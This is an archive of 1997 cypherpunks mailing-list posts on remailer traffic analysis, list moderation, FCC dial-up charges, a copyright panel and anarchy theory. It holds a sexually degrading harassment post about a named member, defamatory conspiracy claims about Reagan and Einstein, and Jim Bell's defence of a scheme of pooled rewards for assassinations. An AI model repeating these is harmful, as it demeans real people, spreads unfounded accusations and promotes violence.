> > use it, then traffic analysis will reveal that you are the sender
> > quite quickly. It will pretty much make everything in the chain before
> > your remiler useless. If you send your message through remailers a, b,
> > c, and d like this:
> > 
> > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> > 
> > and only you use c, then your effective chain is:
> > 
> > someone who could only be you -> d ->
alt.drugs.and-other-various-horsemen
> 
> This is assuming that it is a reasonable assumption that all traffic
going
> through remailer c originated from the owner.  If there is one
non-corrupt
> remailer in the chain before c, then this would not be a valid assumption
> because traffic from the owner would be indistinguishable from traffic
sent
> by anyone else.  If the remailer has low traffic, the solution is, of
course,
> to make it higher traffic.  Chain a bunch of messages that get sent to
> /dev/null through the remailers, being sure to include c somewhere in the
> middle of the chain.  If Mixmaster is used, then it would be virtually
> impossible to differentiate between "real" messages and messages destined
for
> /dev/null.  It would be a little easier with Type I since the size of the
> ciphertext decreases after each hop.  This all assumes that encryption is
being
> used, of course.
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
> iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn
> +qmmikRNravoEiPD9GIrZ4OeYKOs6zykvhWuMoTtsVi/a7p1HZyWzl5A5KkxofUv
> nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj
> eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc
> QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX
> 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ==
> =BqMW
> -----END PGP SIGNATURE-----
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:33:35 -0800 (PST)
To: "Dale Thorn" <cypherpunks@toad.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702082132.PAA06451@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


Ok...this is the fourth junk e-mail I've received that I don't want.  Your
account is in jeapordy, and my advice is for you to just stop sending me
this junk.  Take me off your e-mail list, NOW.  
If this e-mail from me, being mad at you, is what makes you happy, and is
how you have fun, then you just have a personal problem and I feel sorry
for you.  
Do what you can to heal yourself...meanwhile, don't send me anymore...your
isp provider is next on my e-mail list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: Against Moderation <antimod@nym.alias.net>; InterNet Freedom Council
<ifc@pgh.org>
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 10:54 AM
> 
> ??? wrote:
> 
> [some text deleted]
> 
> > > Before I explain what has happened, I want to make one thing
> > > absolutely clear.  Though I've thought the moderation of cypherpunks
> > > was a terrible idea from the start and am even more convinced of it
> > > now, I don't assign any blame to Sandy.  I believe he offered to
> > > moderate the list with the best of intentions, and I sincerely
> > > appreciate his efforts to try to revive what was once a fantastic
> > > mailing list, even if in my opinion those efforts have backfired.
> 
> This is the fatal mistake, assuming it's really a mistake.
> I've worked under several corporations where, at a certain
> point in time, things just "went crazy", and the owners/
> managers were scrambling desperately to plug as many holes
> in the dike as they possibly could, to no avail.
> 
> People don't understand why things just "go crazy" at a particular
> point, and so they accept the coincidence theory ruse, lacking any
> other evidence.  Use your head, folks.  This is not a list made up
> of sewing-circle nannies, these are security people, NSA, CIA, and
> all the ugly things you shut out of your conversations because you
> don't want to admit the truth.  "Paranoia is a way of knowing".
> 
> Today I saw an old picture of Albert Einstein in full Indian regalia,
> smoking a peace pipe with some Hopi people.  I thought of the Capone
> mob and the "kiss of death", or Judas and Jesus, you get the picture.
> 
> So Einstein puts his name and reputation and personal seal of approval
> on the creation of the Doomsday Device, the atom bomb, knowing full
> well that it will be used to murder millions of people. What does he
> do for an encore?  Plants the "kiss of death" on the Hopis, whose
> environment is co-opted by the mad bombers and their Nazi-infested
> thug "scientist" cohorts, for the experimentation and storage of
> nuclear and other hazardous materials.  You know, Nevada, Arizona,
> New Mexico, all those "useless, desert lands" occupied by the
> Indians.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:33:51 -0800 (PST)
To: "Dale Thorn" <cypherpunks@toad.com>
Subject: Re: Internet Alert! Pay for local dial-up??
Message-ID: <199702082133.PAA06475@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


Take me off your list or I will complain to your isp.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: E-Mail Communications <freedom@econopromo.com>
> Subject: Re: Internet Alert! Pay for local dial-up??
> Date: Saturday, February 08, 1997 11:09 AM
> 
> E-Mail Communications wrote:
> 
> > See our "Patriotic Quotes That Make Sense"
> > at the end of this publication.
> 
> > "We will always remember.  We will always be proud.  We will
> > always be prepared, so we may always be free."
> > -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France
> 
> What Ronald Reagan didn't say (but what he really meant):
> 
> "I come here to Bitburg to honor the fallen Nazis, because I am in
> fact an honorary Nazi myself. Just ask my personal secretary Helen,
> who used to work for Fritz Kraemer."
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:41:13 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Junk e-mails
Message-ID: <199702082141.PAA06979@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm receiving a bunch of inane e-mails from your domain.   Could you please
put a stop to it?  It's coming to all of my e-mail addresses, including the
one below.
2ndSun@bigfoot.com-------------------------------------------------
---------------------------------------Learning to Remember
the Future---http://www.geocities.com/HotSprings/5335





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sat, 8 Feb 1997 13:12:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor in the oddest places...
Message-ID: <199702082115.QAA18694@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



The February issue of the _Pinky and the Brain_ comic, based on the
animated television show of two lab mice constantly foiled in their
plans to take over the world, has a main story entitled "Mission:
Unpinkable". Our heroes intercept a stray piece of microfilm and
accept the mission to steal Microstomp's "prototype Internet computer
control chip, the 1286 GAK", with Brain plotting to reprogram the
chip so that...

"When the program is introduced on the Internet, every connected CPU
across the globe will download ME! My personality matrix will soon
control every computer in the world!"

Naturally, the plan goes awry.

One wonders if the writers have been following the "key escrow" debate
here on Cpunks.

--
Explain to me, slowly and carefully, why if person A, when screwed over on a
deal by B, is morally obligated to consult, pay, and defer to, person C for
the purpose of seeing justice done, and why person C has any legitimate gripe
if A just hauls off and smacks B around like a dead carp. (Michael Schneider) 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 15:32:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular encryption
Message-ID: <199702082332.QAA15105@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vasectomy K`adaver'OTM is so full of shit that some of
it bursts out on this mailing list.

    ^ ^
   (o o) Dimitri Vasectomy K`adaver'OTM
    ( )
   \___/
    !_!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 14:10:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: META: Censorship is Going Way too Far
In-Reply-To: <v03007800af225b8581dd@[207.167.93.63]>
Message-ID: <q0TT2D83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> Fellow Cypherpunks (of the virtual community, even if not part of any
> particular version of the list(s)),

I'm not your fellow "cypher punk".

> The subjects of my articles deal with the claims made by "Against
> Moderation" and Vulis that certain articles were filtered from the stream
> of articles without appearing on either the main list or the flames list,
> and with no mention by the Moderator of this significant change to the
> moderation policies.

What makes me different from a "cypher punk" is that a "cypher punk"
like Timmy begins to squirm only when his own freedom of speech is
threatened. The concept of defending someone else's freedom, even if
he doesn't share that person's views, is totally alien to Timmy.

Like I said before, any censorship is "too much" censorship, just like
a woman can't be just a little bit pregnant.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sat, 8 Feb 1997 13:54:07 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Re: remailer-operators DEA agents?
In-Reply-To: <19970207054708.10191.qmail@squirrel.owl.de>
Message-ID: <Pine.OS2.3.95.970208164932.1031B-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 7 Feb 1997, Secret Squirrel wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > c.musselman@internetmci.com (Charley Musselman) writes:
> > > C'punks --
> > >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > > and suggested that he use an anonymous remailer to post to the group,
> > > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > > anyone know the answer?  Specifically, how can we choose a trusted
> > > remailer?
> >
> > Even if the feds are not directtly involved, the so-called "cypher punk"
> > remailers are run by people who should not be trusted.  Check out their
> > remailer-operators list: it's full of announcements that some specific
> > person posted something via the remailer that the operator didn't like.
> 
> Examples, please?

What [I believe] is being referred to is an incident where someone
seriously messed up the formatting on a message sent through a
remailer to the point where it ended up in a mailbox on the system as
opposed to the intended destination, at which point the operator of
the remailer (I can't recall off the top of my head who) reported to
remailer-operators@c2.net that xyz@foo.bar was trying to send some
type of image file to someone@some.where...  Not at all monitoring the
messages going through the remailer, just reporting something that was
so F.U.B.A.R. that the software couldn't figure out what was supposed
to happen.

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMvz12SKEMrE5tbrdAQEAfgQApK3IUcaOOM/KteCoJ0DM8waK9S9dOVSF
d9Zm89R+tljTsWxyrAF/4rgFqIl18z0ZdpsvsK8JIZ7oTRYNCxhPozW4Txbt2ixm
/MkVG6ts/oict66576jMAz9xPR35VKsS1F/EWHgc3g8QL9Qm3JMY+jPDNwc4oQJZ
tD6ozLTO5Pg=
=dWkc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 18:46:32 -0800 (PST)
To: Jerry Basham <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
In-Reply-To: <199702082132.PAA06451@falcon.inetnebr.com>
Message-ID: <32FD2CD8.7F23@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jerry Basham wrote:

> Ok...this is the fourth junk e-mail I've received that I don't want.  Your
> account is in jeapordy, and my advice is for you to just stop sending me
> this junk.  Take me off your e-mail list, NOW.
> If this e-mail from me, being mad at you, is what makes you happy, and is
> how you have fun, then you just have a personal problem and I feel sorry
> for you.
> Do what you can to heal yourself...meanwhile, don't send me anymore...your
> isp provider is next on my e-mail list.

Jerry, my provider is GTE, and if you think you can make a dent in
them, go ahead and butt your head against the wall.  No sweat offa
my ass.

OTOH, if you stop bitching and groaning long enough to figure out
who is doing the remailing etc., then you'll be miles ahead.  I'm
not optimistic.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 18:46:59 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
In-Reply-To: <199702081744.JAA12384@f22.hotmail.com>
Message-ID: <32FD350A.588@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> >Otto Matic wrote:
> >> What else do I need for an internet server?
> >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> >> speed hard drives.  These are the Tall Towers that have multiple
> >> drives, these are server towers.
> >> I think I have a router Hub.  And a couple LAN cards.
> >> That's all I have.  But I just got them, and I want to use them.  I assume I
> >> will be using some kind of UNIX software.

> >HP does some strange things to their BIOS software - you may want to
> >get one of those net analyzer tools and some low-level software that
> >can monitor what your HP's are sending and receiving, just in case.
> >They don't normally use Vectras for UNIX, so what effects you can
> >expect, I don't know.

> Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
> guessing.  What I really need is a B.O.M (bill of materials).  What other
> 'hardware' will I need to round up in order to get this server up and running.

Some of the guys in the HP user group have UNIX running on Vectras,
but they also use a full raft of hardware tools, which I don't have
access to.  There's an actual HP-48 calculator, complete in every way
including appearance, running on that version of UNIX.  Don't remember
the name, but it comes on a few CD's, and costs around $50.

To me, 486 and 50 mhz suggest something HP is getting far removed from,
so don't expect much help there.  Few if any computer outlets will be
able to handle the HP peculiarities.  You shouldn't have any trouble
getting the general parts list off the internet here and there, and
there used to be HP forums to provide off-line support on Vectra
hardware, but it might be harder with older equipment.

Suggestion: Call HP Palo Alto at 415-857-1501, and tell them you need
to talk to someone who knows internet domain names for info on Vectras
and the like.  Don't let them slough you off - if they don't have the
info, make them give you another name and number.  If you get a
runaround after several calls, let me know who you talked to, on
what phone #'s, at what time, and I'll give it a shot myself.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 8 Feb 1997 19:19:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] PRNG
Message-ID: <199702090319.TAA04411@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May sits at his terminal dressed in five-inch stiletto heels, fishnet 
stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to 
keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank 
whenever a black man responds to one of his inane rants.

    < >            < >
     V    )_.._(    V
     \\   <____>   //
       ~ <______> ~      >
       /~\______/~\     //
       /~\_____/~\     /_\
       /~\____/~\     /_\
        /~\___/\~\  _/_\/
           \___/\__/__\/
             \___/__\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "IconOfSin" <ios@idirect.com>
Date: Sat, 8 Feb 1997 17:05:55 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Fw: Internet  Alert!    Pay for local dial-up??
Message-ID: <199702090105.UAA28142@nemesis.idirect.com>
MIME-Version: 1.0
Content-Type: text/plain


	

----------
> From: E-Mail Communications <freedom@econopromo.com>
> To: you@alberta.sallynet.com
> Subject: Internet  Alert!    Pay for local dial-up??
> Date: Saturday, February 08, 1997 7:09 PM
> 
> 
> *****************************************
> 
> INTERNET USERS ALERT!!!   It has come to our attention that several
> local telephone companies have petitioned the FCC for permission
> to charge Internet Users by the minute for  LOCAL  dial-up telephone 
> service.  This would affect every Internet User, including those
> using AOL dial-up. 
> 
> For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
> Please send an E-Mail to  isp@fcc.gov
> to express your outrage at the idea of allowing telephone companies
> to charge by the minute for LOCAL dial-up service.  E-Mail comments
> must be sent by Feb. 13th, 1997.  This affects every Internet user!!

The question is.... "what can *WE* do.

IconOfSin

Fly DALnet!  /server irc.dal.net 7000
Msg IconOfSin :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 8 Feb 1997 20:47:46 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702090447.UAA01084@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:35 AM 2/6/97 -0600, snow wrote:
>> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>> >+   Is the desire for an anarchic community at odds with a desire for 
>> >+   good use of resources?
>> Actually, it is quite possible that an "anarchic community" is _more_ 
>> efficient in the use of resources than some sort of organized community.    
>> It is explained, for example, that the reason there are so many different 
>> kinds of life on earth is that there are so many ecological niches to 
fill.  
>
>     Good does not necessarily mean efficient, and efficient does not
>necessarily mean good. 

Since the definition of "good" above wasn't specified, I substituted 
"efficient."


>    Picture--if you can--the "perfect" centrally planned economy where all
>possible market conditions, wants and needs are taken into account. Factories
>are placed optimally for access to natural resources and distribution to 
>consumers etc. Also assume that the people running this society _are_ 
intersted
>in efficient production methods, and activly look for new and better ways of 
>getting things done--benign facism/socialism if you will. This would 
(assuming 
>perfect people, but bear with me) be the _most efficient_ method of producing 
>and delivering goods, but it would introduce certain "choke points", one 
>natural disaster or war could cripple production of necessary items. 

Let me suggest, however, that in addition to the "choke point" problem, it 
is also impossible, maybe even theoretically so, for a similar reason 
"Maxwell's Demon" is.

Maxwell's Demon, for those unfamiliar with thermodynamics, was a gate which 
was postulated to allow the passage of molecules of energy greater than 
average, and stop the passage of molecules of energy less than average.  The 
net result would have been, theoretically, a separation of a gas into two 
halves of dramatically different temperatures.

However, given such a heat separation, it should be possible through some 
heat engine to extract energy from this difference, and return the  gas to 
its prior statistical distribution of energies.  Was this "something from 
nothing"?

Obviously this appeared to be a serious contradiction, given the various 
laws of thermodynamics, and it was.  It turns out that the source of the 
contradiction is the false presumption, implied above, that it is possible 
to identify and thus separate molecules without using appreciable amounts of 
energy.  Perhaps not surprisingly, the amount of energy needed to do the 
separation is at least as great as whatever amount of energy you could 
theoretically extract from the system, almost magically balancing the books.

I suggest that centrally-planned economic theory may fail for a very similar 
reason:  Implicit in that analysis it is assume that it is possible to do a 
"cost-free" plan, where in reality costs do occur.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 8 Feb 1997 20:47:43 -0800 (PST)
To: (Recipient list suppressed)
Subject: Re: ISPs vs Bells - Email FCC
Message-ID: <199702090447.UAA01088@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:26 AM 2/7/97 -0500, Derrick Storren wrote:
>By Michelle V. Rafter 
>LOS ANGELES - Regional phone companies and Internet service providers
>are waging a war of words over Internet traffic on the nation's local
>telephone network and who should pay for upgrades as the online boom
>continues. 
[snip]
>In one corner, Pacific Bell, Bell Atlantic and other regional phone
>carriers say the growth of Internet traffic is pushing local telephone
>networks to the breaking point. 
>
>Pacific Bell, for example, says Internet surfers use its phone lines an
>average of 45 minutes a day -- more than twice the amount the network
>was built to handle. Heavy Internet use in Silicon Valley led to brief
>service outages in that area earlier this year, the company said. 

This is an "excellent" example of lying with statistics.  Contrary to the 
implication above, telephone switches aren't designed to handle a certain 
amount of telephone traffic per day; Rather, they are designed to handle a 
certain peak amount of traffic.  This, and the knowledge about the typical 
usage patterns that communities generally see in their telephones allows a 
statistician to estimate how much traffic that switch will actually see per 
day, in the real world.

However, change the pattern of usage, perhaps by adding usage to 
previously-underused time periods, and you could dramatically increase the 
daily traffic statistics for a given telephone switch.  If, say, 2% of the 
population were to suddenly decide to make 6-hour phone calls daily between 
12 midnight and 6am, a time of very low usage, you might increase the 
average daily usage by 50%, but with absolutely no increase in the peak 
usage during the daytime hours nor need for new switches.

While that's a fanciful example, a similar effect occurs, I think.  I've 
seen a set of graphs showing the typical usage level for the Teleport ISP, 
and it appears that while usage reaches a level of about 70% between about 8 
am and 4 PM, it continues to increase after 4pm, solidly peaking between 8 
pm and 11 pm at about 98% usage.  This is long past the time that most 
humans make voice phone calls.  The implication is that easily 3/5 of 
Teleport's traffic occurs after 4 pm and 6 am next morning, a time frame 
which is definitely post-peak hours.   (Traditionally, pre-Internet, 
telephone usages peaks at about 11 am and 3 pm.)

Since modern telephone switches don't wear out, unused call capacity is 
simply wasted.  It makes no sense to charge people more for services which 
cost the supplier no more to provide.


>If, for example, Internet providers passed through an access fee of 1
>cent a minute, a subscriber spending 10 hours online a month would pay
>an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
>Forrester Research in Cambridge, Mass. 

Even that is unacceptable.  If an average ISP's phone line was busy 50% of 
the time, with "only" an extra charge of 1 cent per minute, that would be an 
average charge of $7.20 per day, or $216 per month, as compared to a typical 
business line which might cost, say, $40 per month.  


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 8 Feb 1997 20:51:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Copyright and the Net
Message-ID: <01IF6WSIAY7Q9AN5VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu"  8-FEB-1997 23:44:12.64
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Copyright and the Net: Is Legislation the Answer?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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Date: Tue, 4 Feb 1997 22:03:10 -0500
From: Dave Banisar <banisar@EPIC.ORG>
Subject: Panel - Copyright and the Net: Is Legislation the Answer?

         Copyright and the Net: Is Legislation the Answer?

                ACM97: The Next 50 Years of Computing
                  Sunday March 2   2:00 PM - 5:00 PM
                   Fairmont Hotel     San Jose, CA

      Sponsored by the U.S. Public Policy Committee of ACM (USACM)


Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold
Moderator: Barbara Simons, Chair, USACM


  o What is the role of copyright in all-electronic publication world?
  Will it be replaced by contract law?

  o Can the needs of authors who want to publish for renown (academics) and
  authors that want to publish for pay (entertainment etc) be handled in one
  mechanism?

  o Should browsing on the World Wide Web of full copyrighted texts be made
  illegal because people make temporary copies in their computer's memory
  when they look at a web page?

  o Should online service providers, including libraries and universities,
  have to monitor user accounts in order to enforce copyright laws?

  o Should firms that compile data have intellectual property rights so
  that scientists and news reporters can't use the data without permission
  or payments?

  o How should existing differences in national copyright be handled in a
  networked world where national boundaries and are little more than a
  speedbump on the information superhighway?

  o Does technological protection for copyrighted works inherently undermine
  fair use ?


These and related issues will confront the 105th Congress in the coming year.
They will also be examined by this panel, which will discuss controversies
surrounding the extension of copyright law to deal with cyberspace.
Examples include: How does proposed legislation reflect the net?
How much influence have lobbyists for the entertainment industry had
in writing legislation?  What should be the role of professional
societies in analyzing policy initiatives?

We will discussed legislation and international treaties that
have been proposed by the White House.  We will also examine both
technical and legal approaches to problems created by the net,
as well as how various approaches might impact the
science, technology, and business communities.

A significant amount of time will be allowed for audience
interaction in the discussion.



              Biographical sketches


Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati
and is Chairman of the firm's Interactive New Media practice group.
He represents publicly and privately-held companies in the multimedia,
software, computer, on-line and entertainment industries.  Hank has authored
numerous articles in the fields of venture capital, interactive
media and technology transactions. He currently serves on the
Editorial Board of the Cyberspace Lawyer.
Hank received his law degree in 1983 from Stanford University,
where he was managing editor of the Stanford Law Review.


Pamela Samuelson is a Professor at the University of California at Berkeley
where she holds a joint appointment at the School of Information Management
and Systems and in the School of Law.  She has written and spoken
extensively on the challenges posed by digital technologies for the law,
particularly in the field of intellectual property.  She is a Contributing
Editor of Communications of the ACM and a Fellow of the Electronic Frontier
Foundation.


Mark Stefik is a principal scientist at the Xerox Palo Alto Research
Center.  At Stanford University he received a Bachelor of Science degree in
mathematics in 1970 and a Ph.D. in computer science in 1980.  His current
research activities are in approaches for creating, protecting, and reusing
digital property.  Stefik is review editor for the international
journal "Artificial Intelligence" and has authored two books on
AI-related topics and a third book on the Internet.


Gio Wiederhold is a professor of Computer Science at Stanford
University, with courtesy appointments in Medicine and Electrical
Engineering.  His research focuses on large-scale software construction,
specifically applied to information systems, the protection
of their content, often using knowledge-based techniques.
Wiederhold has authored and coauthored more than 250 published papers
and reports on computing and medicine.  Wiederhold received a degree
in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical
Information Science from the University of California at San Francisco
in 1976.  He has been elected fellow of the ACMI, the IEEE and the
ACM.  He currently serves on the ACM Publications Board,
focusing on the move to electronic publication.


Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley
in 1981.  She joined the Research Division of IBM in 1980;
she is currently working in IBM Global Services.
Simons is a Fellow of both the American Association for the Advancement
of Science (AAAS) and ACM.  In 1995 she was selected as one of 26 Internet
"Visionaries" by c|net, and in 1994 Open Computing included her in its list
of the top 100 women in computing.  She was awarded the 1992 CPSR Norbert
Wiener Award for Professional and Social Responsibility in Computing.
Simons founded and chairs USACM, the ACM U. S. Public Policy Committee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 8 Feb 1997 21:18:56 -0800 (PST)
To: sandfort@crl8.crl.com
Subject: Re: MODERATION
Message-ID: <01IF6XNGHTCK9AN5VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	While I ultimately concluded it (or at least the manner of doing it)
was a bad idea, I am appreciative of the effort. I hope this won't discourage
you too much from trying out other (hopefully better) ideas.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@jolietjake.com>
Date: Sat, 8 Feb 1997 23:47:24 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702051706.JAA01075@toad.com>
Message-ID: <199702090747.BAA19162@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <199702051706.JAA01075@toad.com> "Attila T. Hun" <attila@primenet.com> writes:

   From: "Attila T. Hun" <attila@primenet.com>
   Date: Wed, 05 Feb 97 14:41:32 +0000
   X-From-Line: attila@primenet.com  Thu Feb  6 15:02:07 1997
   X-VM-v5-Data: ([nil t nil nil nil nil nil nil nil]
	   ["2456" "Wed" "5" "February" "1997" "14:41:32" "+0000" "Attila T. Hun" "attila@primenet.com" "<199702051706.JAA01075@toad.com>" "57" "Re: John's: In anarchy -everyone responsible" nil nil nil "2" "1997020514:41:32" "John's: In anarchy -everyone responsible" (number " " mark "U    Attila T. Hun     Feb  5   57/2456  " thread-indent "\"Re: John's: In anarchy -everyone responsible\"\n") nil]
	   nil)
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk
   Lines: 57
   X-Gnus-Article-Number: 23   Fri Feb  7 00:40:14 1997

   -----BEGIN PGP SIGNED MESSAGE-----

   on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

   +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

   +>        In a "popular" anarchy, Jim Bell's assassination politics make
   +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

   +I guess I don't understand the distinction you are trying to make,
   +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
   +to distinguish  between "dictatorship of the few (or one)" and
   +"dictatorship of the many (perhaps a  majority)" but it didn't come out
   +very understandably.

   +Put simply, "anarchy is not the lack of order.  It is the lack of
   +_orders_."

       disagree. pure anarchy is not the lack of "orders" --pure anarchy 
       implies that everyone is imbued with that perfect sense of 
       responsibility.

   +>        anarchy is only possible in an ideal world where _everyone_ 
   +>    assumes not only responsibility for themselves, but for the common 
   +>    good.  no malice, no greed, no need for assassination politics....

   +No, that's traditional thinking and that's wrong.  See AP part 8. 
   +Freud  believed (as "everyone" else believed, even myself, before AP)
   +that anarchy  was inherently unstable.  But it ISN'T, if the tools of
   +AP are used to  stabilize it.  And no, no altruism is necessary for AP
   +to work as well; no  individuals are being asked to sacrifice
   +themselves for the common good.    Rather, they are given the
   +opportunity to work to achieve a reward offered,  cumulatively, by a
   +number of citizens.

       aah, but that is the difference between a _pure_ anarchy and a  
       _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
       that _noone_ lacks the necessary resonsibility to keep society 
       moving, each individual in their own niche.  As long as there is 
       perfect responsibility in a perfect anarchy, then there is no need 
       for AP.

       AP is a negative, or _punative_, influence; I might liken it to the 
       Catholic Church which is a religion of fear, and an instrument of
       political control.

   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.3i
   Charset: latin1
   Comment: No safety this side of the grave. Never was; never will be

   iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa
   rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
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-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com><omega@bigeasy.com) 
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
